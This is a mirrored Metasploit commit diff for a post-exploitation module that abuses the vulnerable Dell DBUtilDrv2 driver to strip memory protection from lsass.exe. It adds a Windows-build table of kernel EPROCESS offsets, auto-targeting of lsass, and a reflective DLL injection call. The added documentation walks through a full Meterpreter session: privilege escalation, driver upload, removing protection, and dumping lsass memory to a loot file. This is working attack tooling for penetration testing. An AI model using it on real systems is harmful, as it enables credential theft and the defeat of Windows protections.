mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-07-18 18:31:41 +02:00
Pulled offsets out of dll into module. Auto-find lsass.exe when pid is 0
This commit is contained in:
parent
78cae04db6
commit
e7810acb1e
Binary file not shown.
@ -56,7 +56,7 @@ Enable or disable memory protection on the targetted process. `false` will remov
|
||||
|
||||
### PID
|
||||
|
||||
The ID of the targetted process.
|
||||
The ID of the targetted process. If set to 0 (the default value), the module will automatically find lsass.exe.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
@ -281,3 +281,83 @@ msf6 post(windows/gather/memory_dump) > run
|
||||
[*] Post module execution completed
|
||||
msf6 post(windows/gather/memory_dump) >
|
||||
```
|
||||
|
||||
### Windows Server 2016 (10.0.14393) x64 using DBUtilDrv2 version 2.5 and PID option set to 0
|
||||
|
||||
```
|
||||
[*] Started reverse TCP handler on 10.0.0.3:4444
|
||||
[*] Meterpreter session 1 opened (10.0.0.3:4444 -> 10.0.0.8:45172 ) at 2021-12-18 04:12:03 -0800
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-7ESIGFVFQEG
|
||||
OS : Windows 2016+ (10.0 Build 14393).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x64/windows
|
||||
meterpreter > getuid
|
||||
Server username: WIN-7ESIGFVFQEG\albinolobster
|
||||
meterpreter > getsystem
|
||||
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
|
||||
meterpreter > ps | grep lsass
|
||||
Filtering on 'lsass'
|
||||
|
||||
Process List
|
||||
============
|
||||
|
||||
PID PPID Name Arch Session User Path
|
||||
--- ---- ---- ---- ------- ---- ----
|
||||
664 504 lsass.exe x64 0
|
||||
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
msf6 exploit(multi/handler) > use post/windows/gather/memory_dump
|
||||
msf6 post(windows/gather/memory_dump) > set SESSIOn 1
|
||||
SESSIOn => 1
|
||||
msf6 post(windows/gather/memory_dump) > set PID 664
|
||||
PID => 664
|
||||
msf6 post(windows/gather/memory_dump) > set DUMP_PATH C:\\Windows\\Temp\\lsass_dump
|
||||
DUMP_PATH => C:\Windows\Temp\lsass_dump
|
||||
msf6 post(windows/gather/memory_dump) > run
|
||||
|
||||
[*] Running module against WIN-7ESIGFVFQEG
|
||||
[*] Dumping memory for lsass.exe
|
||||
[-] Post aborted due to failure: payload-failed: Unable to open process: Access is denied.
|
||||
[*] Post module execution completed
|
||||
msf6 post(windows/gather/memory_dump) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > upload /home/albinolobster/drivers/2_5/ C:\\Windows\\Temp\\
|
||||
[*] uploading : /home/albinolobster/drivers/2_5/DBUtilDrv2.cat -> C:\Windows\Temp\\DBUtilDrv2.cat
|
||||
[*] uploaded : /home/albinolobster/drivers/2_5/DBUtilDrv2.cat -> C:\Windows\Temp\\DBUtilDrv2.cat
|
||||
[*] uploading : /home/albinolobster/drivers/2_5/dbutildrv2.inf -> C:\Windows\Temp\\dbutildrv2.inf
|
||||
[*] uploaded : /home/albinolobster/drivers/2_5/dbutildrv2.inf -> C:\Windows\Temp\\dbutildrv2.inf
|
||||
[*] uploading : /home/albinolobster/drivers/2_5/DBUtilDrv2.sys -> C:\Windows\Temp\\DBUtilDrv2.sys
|
||||
[*] uploaded : /home/albinolobster/drivers/2_5/DBUtilDrv2.sys -> C:\Windows\Temp\\DBUtilDrv2.sys
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
msf6 post(windows/gather/memory_dump) > use post/windows/manage/dell_memory_protect
|
||||
msf6 post(windows/manage/dell_memory_protect) > set DRIVER_PATH C:\\Windows\\Temp\\
|
||||
DRIVER_PATH => C:\Windows\Temp\
|
||||
msf6 post(windows/manage/dell_memory_protect) > set SESSION 1
|
||||
SESSION => 1
|
||||
msf6 post(windows/manage/dell_memory_protect) > run
|
||||
|
||||
[*] Set PID option 664 for lsass.exe
|
||||
[*] Launching netsh to host the DLL...
|
||||
[+] Process 3008 launched.
|
||||
[*] Reflectively injecting the DLL into 3008...
|
||||
[+] Exploit finished
|
||||
[*] Post module execution completed
|
||||
msf6 post(windows/manage/dell_memory_protect) > use post/windows/gather/memory_dump
|
||||
msf6 post(windows/gather/memory_dump) > run
|
||||
|
||||
[*] Running module against WIN-7ESIGFVFQEG
|
||||
[*] Dumping memory for lsass.exe
|
||||
[*] Downloading minidump (4.70 MiB)
|
||||
[+] Memory dump stored at /home/albinolobster/.msf4/loot/20211218041511_default_172.16.144.14_windows.process._536152.bin
|
||||
[*] Deleting minidump from disk
|
||||
[*] Post module execution completed
|
||||
msf6 post(windows/gather/memory_dump) >
|
||||
```
|
||||
|
@ -8,19 +8,13 @@ EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{CC53270F-26E1-42AB-8D05-7C02523C36C8}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{CC53270F-26E1-42AB-8D05-7C02523C36C8}.Debug|x64.Build.0 = Debug|x64
|
||||
{CC53270F-26E1-42AB-8D05-7C02523C36C8}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{CC53270F-26E1-42AB-8D05-7C02523C36C8}.Debug|x86.Build.0 = Debug|Win32
|
||||
{CC53270F-26E1-42AB-8D05-7C02523C36C8}.Release|x64.ActiveCfg = Release|x64
|
||||
{CC53270F-26E1-42AB-8D05-7C02523C36C8}.Release|x64.Build.0 = Release|x64
|
||||
{CC53270F-26E1-42AB-8D05-7C02523C36C8}.Release|x86.ActiveCfg = Release|Win32
|
||||
{CC53270F-26E1-42AB-8D05-7C02523C36C8}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
|
@ -149,78 +149,6 @@ namespace
|
||||
return true;
|
||||
}
|
||||
|
||||
bool getVersionOffsets(Offsets& p_offsets)
|
||||
{
|
||||
HMODULE hNtdll = GetModuleHandleA("ntdll");
|
||||
if (hNtdll == NULL)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
typedef void(__stdcall* fRtlGetNtVersionNumbers)(DWORD* MajorVersion, DWORD* MinorVersion, DWORD* BuildNumber);
|
||||
fRtlGetNtVersionNumbers RtlGetNtVersionNumbers = (fRtlGetNtVersionNumbers)GetProcAddress(hNtdll, "RtlGetNtVersionNumbers");
|
||||
if (RtlGetNtVersionNumbers == NULL)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
/* get the version to determine the necessary eprocess offsets */
|
||||
DWORD dwMajor, dwMinor, dwBuild;
|
||||
RtlGetNtVersionNumbers(&dwMajor, &dwMinor, &dwBuild);
|
||||
dwBuild = LOWORD(dwBuild);
|
||||
|
||||
if (dwMajor != 10 && dwMinor != 0)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
switch (dwBuild)
|
||||
{
|
||||
case 10240: // Gold
|
||||
p_offsets.UniqueProcessIdOffset = 0x02e8;
|
||||
p_offsets.ActiveProcessLinksOffset = 0x02f0;
|
||||
p_offsets.SignatureLevelOffset = 0x06a8;
|
||||
return true;
|
||||
case 10586: // 2015 update
|
||||
p_offsets.UniqueProcessIdOffset = 0x02e8;
|
||||
p_offsets.ActiveProcessLinksOffset = 0x02f0;
|
||||
p_offsets.SignatureLevelOffset = 0x06b0;
|
||||
return true;
|
||||
case 14393: // 2016 update
|
||||
p_offsets.UniqueProcessIdOffset = 0x02e8;
|
||||
p_offsets.ActiveProcessLinksOffset = 0x02f0;
|
||||
p_offsets.SignatureLevelOffset = 0x06c8;
|
||||
return true;
|
||||
case 15063: // April 2017 update
|
||||
case 16299: // Fall 2017 update
|
||||
case 17134: // April 2018 update
|
||||
case 17763: // October 2018 update
|
||||
p_offsets.UniqueProcessIdOffset = 0x02e0;
|
||||
p_offsets.ActiveProcessLinksOffset = 0x02e8;
|
||||
p_offsets.SignatureLevelOffset = 0x06c8;
|
||||
return true;
|
||||
case 18362: // May 2019 update
|
||||
case 18363: // November 2019 update
|
||||
p_offsets.UniqueProcessIdOffset = 0x02e8;
|
||||
p_offsets.ActiveProcessLinksOffset = 0x02f0;
|
||||
p_offsets.SignatureLevelOffset = 0x06f8;
|
||||
return true;
|
||||
case 19041: // May 2020 update
|
||||
case 19042: // October 2020 update
|
||||
case 19043: // May 2021 update
|
||||
case 19044: // October 2021 update
|
||||
case 22000: // Win 11 June/September 2021
|
||||
p_offsets.UniqueProcessIdOffset = 0x0440;
|
||||
p_offsets.ActiveProcessLinksOffset = 0x0448;
|
||||
p_offsets.SignatureLevelOffset = 0x0878;
|
||||
return true;
|
||||
default:
|
||||
return false;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
bool driver2Setup(HDEVINFO& p_devInfo, SP_DEVINFO_DATA& p_deviceInfoData, const char* p_infPath)
|
||||
{
|
||||
GUID guid = {};
|
||||
@ -279,34 +207,39 @@ namespace
|
||||
}
|
||||
}
|
||||
|
||||
bool parse_params(std::string p_params, std::string& p_path_str, uint64_t& p_pid, bool& p_enable)
|
||||
// passed params should be: driver path, pid, enable (1|0), unique proccess id offset, active process link offset, signature level offset
|
||||
bool parse_params(std::string p_params, std::string& p_path_str, uint64_t& p_pid, bool& p_enable, Offsets& p_offsets)
|
||||
{
|
||||
std::string pid;
|
||||
std::string enable;
|
||||
std::stringstream stream(p_params);
|
||||
std::getline(stream, p_path_str, ',');
|
||||
std::getline(stream, pid, ',');
|
||||
std::getline(stream, enable, ',');
|
||||
if (p_path_str.empty() || pid.empty() || enable.empty())
|
||||
std::vector<std::string> parsed;
|
||||
while (stream.good())
|
||||
{
|
||||
std::string temp;
|
||||
std::getline(stream, temp, ',');
|
||||
parsed.push_back(temp);
|
||||
}
|
||||
|
||||
if (parsed.size() != 6)
|
||||
{
|
||||
// wrong amount of params
|
||||
return false;
|
||||
}
|
||||
|
||||
p_path_str.assign(parsed[0]);
|
||||
p_enable = (parsed[2] == "1");
|
||||
|
||||
try
|
||||
{
|
||||
p_pid = stoll(pid);
|
||||
p_pid = stoull(parsed[1]);
|
||||
p_offsets.UniqueProcessIdOffset = stoull(parsed[3]);
|
||||
p_offsets.ActiveProcessLinksOffset = stoull(parsed[4]);
|
||||
p_offsets.SignatureLevelOffset = stoull(parsed[5]);
|
||||
}
|
||||
catch (const std::exception&)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
if (enable.size() != 1)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
p_enable = (enable == "1");
|
||||
return true;
|
||||
}
|
||||
}
|
||||
@ -322,7 +255,8 @@ int exploit(const char* params)
|
||||
std::string path_str;
|
||||
uint64_t pid;
|
||||
bool enable;
|
||||
if (!parse_params(params, path_str, pid, enable))
|
||||
Offsets offsets = { 0, 0, 0 };
|
||||
if (!parse_params(params, path_str, pid, enable, offsets))
|
||||
{
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
@ -334,12 +268,6 @@ int exploit(const char* params)
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
Offsets offsets = { 0, 0, 0 };
|
||||
if (!getVersionOffsets(offsets))
|
||||
{
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
HDEVINFO devInfo = NULL;
|
||||
SP_DEVINFO_DATA deviceInfoData = { };
|
||||
if (!driver2Setup(devInfo, deviceInfoData, path_str.c_str()))
|
||||
|
@ -8,6 +8,7 @@ class MetasploitModule < Msf::Post
|
||||
|
||||
include Msf::Exploit::Local::WindowsKernel
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Process
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Process
|
||||
include Msf::Post::Windows::ReflectiveDLLInjection
|
||||
@ -38,7 +39,7 @@ class MetasploitModule < Msf::Post
|
||||
'Platform' => 'win',
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'References' => [
|
||||
# TODO: R7 blog
|
||||
[ 'URL', 'https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/'],
|
||||
[ 'URL', 'https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection'],
|
||||
[ 'URL', 'https://itm4n.github.io/lsass-runasppl/'],
|
||||
[ 'URL', 'https://labs.sentinelone.com/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/' ],
|
||||
@ -55,19 +56,45 @@ class MetasploitModule < Msf::Post
|
||||
)
|
||||
register_options([
|
||||
OptString.new('DRIVER_PATH', [true, 'The path containing the driver inf, cat, and sys (and coinstaller)', '']),
|
||||
OptString.new('PID', [true, 'The targetted process', '']),
|
||||
OptInt.new('PID', [true, 'The targetted process. If set to 0 the module will automatically target lsass.exe', '0']),
|
||||
OptBool.new('ENABLE_MEM_PROTECT', [true, 'Enable or disable memory protection', 'false'])
|
||||
])
|
||||
end
|
||||
|
||||
def target_compatible?
|
||||
def get_eproc_offsets
|
||||
sysinfo_value = sysinfo['OS']
|
||||
unless sysinfo_value =~ /Windows/
|
||||
print_status("Target is not Windows. Found #{sysinfo_value}")
|
||||
return nil
|
||||
end
|
||||
|
||||
build_num = sysinfo_value.match(/Build (\d+)/)[1].to_i
|
||||
vprint_status("Windows Build Number = #{build_num}")
|
||||
|
||||
return true if sysinfo_value =~ /Windows 10/ && (build_num >= 10240 && build_num <= 22000)
|
||||
# UniqueProcessIdOffset, ActiveProcessLinksOffset, SignatureLevelOffset
|
||||
offsets = {
|
||||
10240 => [ 0x02e8, 0x02f0, 0x06a8 ], # Gold
|
||||
10586 => [ 0x02e8, 0x02f0, 0x06b0 ], # 2015 update
|
||||
14393 => [ 0x02e8, 0x02f0, 0x06c8 ], # 2016 update
|
||||
15063 => [ 0x02e0, 0x02e8, 0x06c8 ], # April 2017 update
|
||||
16299 => [ 0x02e0, 0x02e8, 0x06c8 ], # Fall 2017 update
|
||||
17134 => [ 0x02e0, 0x02e8, 0x06c8 ], # April 2018 update
|
||||
17763 => [ 0x02e0, 0x02e8, 0x06c8 ], # October 2018 update
|
||||
18362 => [ 0x02e8, 0x02f0, 0x06f8 ], # May 2019 update
|
||||
18363 => [ 0x02e8, 0x02f0, 0x06f8 ], # November 2019 update
|
||||
19041 => [ 0x0440, 0x0448, 0x0878 ], # May 2020 update
|
||||
19042 => [ 0x0440, 0x0448, 0x0878 ], # October 2020 update
|
||||
19043 => [ 0x0440, 0x0448, 0x0878 ], # May 2021 update
|
||||
19044 => [ 0x0440, 0x0448, 0x0878 ], # October 2021 update
|
||||
22000 => [ 0x0440, 0x0448, 0x0878 ] # Win 11 June/September 2021
|
||||
}
|
||||
|
||||
false
|
||||
unless offsets.key?(build_num)
|
||||
print_status("Unknown offsets for Windows build #{build_num}")
|
||||
return nil
|
||||
end
|
||||
|
||||
return offsets[build_num]
|
||||
end
|
||||
|
||||
def run
|
||||
@ -75,9 +102,9 @@ class MetasploitModule < Msf::Post
|
||||
fail_with(Failure::None, 'Elevated session is required')
|
||||
end
|
||||
|
||||
# check that the target is a compatible version of Windows (since the offsets are hardcoded) before loading the RDLL
|
||||
unless target_compatible?
|
||||
fail_with(Failure::NoTarget, 'The exploit does not support this target')
|
||||
offsets = get_eproc_offsets
|
||||
if offsets.nil?
|
||||
fail_with(Failure::NoTarget, 'Unsupported targeted')
|
||||
end
|
||||
|
||||
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
|
||||
@ -88,11 +115,24 @@ class MetasploitModule < Msf::Post
|
||||
fail_with(Failure::BadConfig, "The driver path must be a file path. User provided: #{datastore['DRIVER_PATH']}")
|
||||
end
|
||||
|
||||
# If the user doesn't select a PID select lsass.exe for them
|
||||
target_pid = datastore['PID']
|
||||
if target_pid == 0
|
||||
target_pid = pidof('lsass.exe').first
|
||||
print_status("Set PID option #{target_pid} for lsass.exe")
|
||||
end
|
||||
|
||||
params = datastore['DRIVER_PATH']
|
||||
params += ','
|
||||
params += datastore['PID']
|
||||
params += target_pid.to_s
|
||||
params += ','
|
||||
params += (datastore['ENABLE_MEM_PROTECT'] ? '1' : '0')
|
||||
params += ','
|
||||
params += offsets[0].to_s # UniqueProcessIdOffset
|
||||
params += ','
|
||||
params += offsets[1].to_s # ActiveProcessLinksOffset
|
||||
params += ','
|
||||
params += offsets[2].to_s # SignatureLevelOffset
|
||||
|
||||
execute_dll(::File.join(Msf::Config.data_directory, 'exploits', 'dell_protect', 'dell_protect.x64.dll'), params)
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user